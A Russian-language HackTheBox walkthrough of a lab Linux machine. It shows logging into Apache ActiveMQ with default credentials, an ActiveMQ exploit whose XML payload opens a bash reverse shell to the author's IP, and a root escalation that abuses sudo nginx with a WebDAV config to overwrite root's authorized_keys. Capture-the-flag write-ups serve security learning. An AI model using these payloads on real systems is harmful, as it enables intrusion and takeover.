Друзья, всем привет! Сегодня пройдём лёгкую
Linux
-машину с площадки HackTheBox
. Приятного чтения!Разведка
Сканируем порты, используем флаг
-sC
, чтобы использовать стандартные скрипты, -sV
, чтобы определить сервисы открытых портов:
Bash:
nmap -sC -sV -oN nmap.out 10.10.11.243
Bash:
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 3eea454bc5d16d6fe2d4d13b0a3da94f (ECDSA)
|_ 256 64cc75de4ae6a5b473eb3f1bcfb4e394 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
| http-auth:
| HTTP/1.1 401 Unauthorized\x0D
|_ basic realm=ActiveMQRealm
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Error 401 Unauthorized
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Имеется два открытых
TCP
-порта: 22
и 80
. Перейдём на 80
-ый порт:Требуется ввести имя пользователя и пароль. В случае, если они неверны, то вылетает
401 Unauthorized
. Из сканирования nmap’а
можно понять, что используется Apache ActiveMQ
. Таким образом мы можем загуглить имя пользователя/пароль, которые изначально установлены:Указываем
admin:admin
и попадаем в панель:Перейдя в
/admin/
, мы можем узнать версию сервиса Apache ActiveMQ
:Гуглим версию с названием сервиса и натыкаемся на
Ссылка скрыта от гостей
:Мы также можем воспользоваться данным эксплойтом для получения первичного доступа (
www-data
):Важно отметить, что для его работы Вам требуется установленный компилятор
Go
. Также можете воспользоваться эксплойтом на python. В GitHub
-проекте есть несколько файлов: main.go
- сама программа, а poc.xml
- XML
-файл с полезной нагрузкой. Последний сделан для того, чтобы продемонстрировать наличие уязвимости:Поэтому нам нужно его изменить на:
XML:
<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="
http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>bash</value>
<value>-c</value>
<value>bash -i >& /dev/tcp/10.10.16.108/9898 0>&1</value>
</list>
</constructor-arg>
</bean>
</beans>
*
10.10.16.108
- мой IP
-адрес, 9898
- мой порт на листенере nc
.Теперь нам понадобятся три сессии терминала:
- В первой
(1)
мы поднимем веб-серверpython
на8000
порту - через него уязвимый сервер с помощью эксплойта сможет получить доступ кpoc.xml
, который располагается у нас на хосте. - Во второй
(2)
поднимаем листенер на9898
, чтобы получить реверс шелл. - В третьей
(3)
запускаем сам эскплоит черезgo
с указанием уязвимого сервера (опция-i
) и ссылки на наpoc.xml
.
Запускаем всё и получаем сессию от имени пользователя
www-data
:На данном этапе Вы уже можете прочитать
user.txt
.Взятие пользователя
После того, как мы получили первичный доступ, используем стандартную команду
sudo -l
, чтобы узнать какие команды от лица www-data
мы можем запускать без пароля с правами суперпользователя:Исходя из вывода, мы можем таким образом запустить веб-сервер
nginx
. Самый простой вариант - сделать nginx.conf
и запустить nginx
на каком-нибудь порту, например, 9899
, затем просто прочитать файл root.txt
. Но мы немного усложним и пройдём машину так, чтобы получить удалённый доступ от лица пользователя root
. Немного покопавшись в гугле, можно найти
Ссылка скрыта от гостей
:В ней есть примеры
nginx.conf’а
, которые помогут нам сделать эксплоит:1. Создаём
nginx.conf
со следующим содержимым (порт Вы можете изменить):- user root; - устанавливает пользователя, от имени которого будет работать процесс
nginx
. В данном случае, установлен пользовательroot
, что означает, чтоnginx
будет работать с правами суперпользователя. - events { worker_connections 500; } - задает параметры для обработки событий воркерами
nginx
. В данном случае, установлено значениеworker_connections
равным500
, что определяет максимальное количество одновременных соединений, которые может обрабатывать один воркер. - http { ... } - объявляет блок конфигурации для настроек
HTTP
-сервера. - server { ... } - объявляет блок конфигурации для настроек виртуального сервера внутри блока
http
. - listen 9899; - устанавливает порт, на котором сервер будет слушать входящие соединения. В данном случае, сервер будет слушать порт
9899
. - root /; - устанавливает корневую директорию (
/
) для этого виртуального сервера. - dav_methods PUT; - включает поддержку метода
HTTP PUT
для данного сервера. МетодPUT
позволяет клиентам загружать файлы на сервер.
python
на 8000
порту.3. Загрузим в
/tmp
созданный нами файл nginx.conf
с помощью веб-сервера python
.4. Запустим
nginx
с правами суперпользователя, используя опцию -c
, чтобы указать путь к конфигурационному файлу.5. Используем
curl
, чтобы убедиться в том, что веб-сервер заработал на указанном порту.План действий таков: перезапишем
authorized_keys
в каталоге /root/.ssh/
на атакуемой машине (т.к. веб-сервер подняли с правами суперпользователя и указали в конфиге, что работа идёт от root
), чтобы подключиться по SSH
от лица пользователя root
без пароля.Для начала сгенерируем
SSH
-ключи на нашей машине с помощью ssh-keygen
:Прочитаем и скопируем публичный ключ
id_rsa.pub
:И сделаем следующий
PUT
-запрос с помощью curl
:
Bash:
curl -X PUT http://10.10.11.243:9899/root/.ssh/authorized_keys --data "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCtcJKegrmZIW6DUp02zvXRacBkkk2YOQlMRztFaK6oRh2fMPTPUfClYiLHSiJkgS8cSF+KaffPPJvobdsU56pVnuSESJCNLPDuuL65IXJDqh6kFNjpcN3RzEfFw2u0Xzv7iqxBFnGp92MzKI7izs0UJaNLc4v6rj0I3jQFyjR6jNXtSy/NiZwm6pT2Sv+qMpjlNLW6iOCDIouT7Jja/Y93x5QS6vUz/b/X1HUuchkJSJz2K3IKgUvTGJfvzuw5ihLKC+7lv8gNubOKsq3WzOoJublJyOM158bn27pZTIlianuNfHaGeFmKRiyOCFtJeg4guQZZaMkcNu/4IDDe6xfwWbF5DNradDeDZ7hfQDOF1HHVp0vclRseUgiPOUigbjCpWt0kSiwtBoUVLCTVXpX79CrGXoDQFi82otRTBslDe8dRfyfN58fE13JKzXI5VYFzQCwZk9QoDSksGjIP5OfMu1LM5L0zZ66cTshF/2jk75B3GkIfT0d48vJPgYsRHJc= trager@hackmachine"
После отправки запроса пробуем подключиться к
10.10.11.243
от лица root
:Успех! Получаем
root
-флаг.Друзья, большое спасибо, что дочитали статью до конца. Если есть какие-то ошибки/неточности, то, пожалуйста, напишите об этом в комментариях =D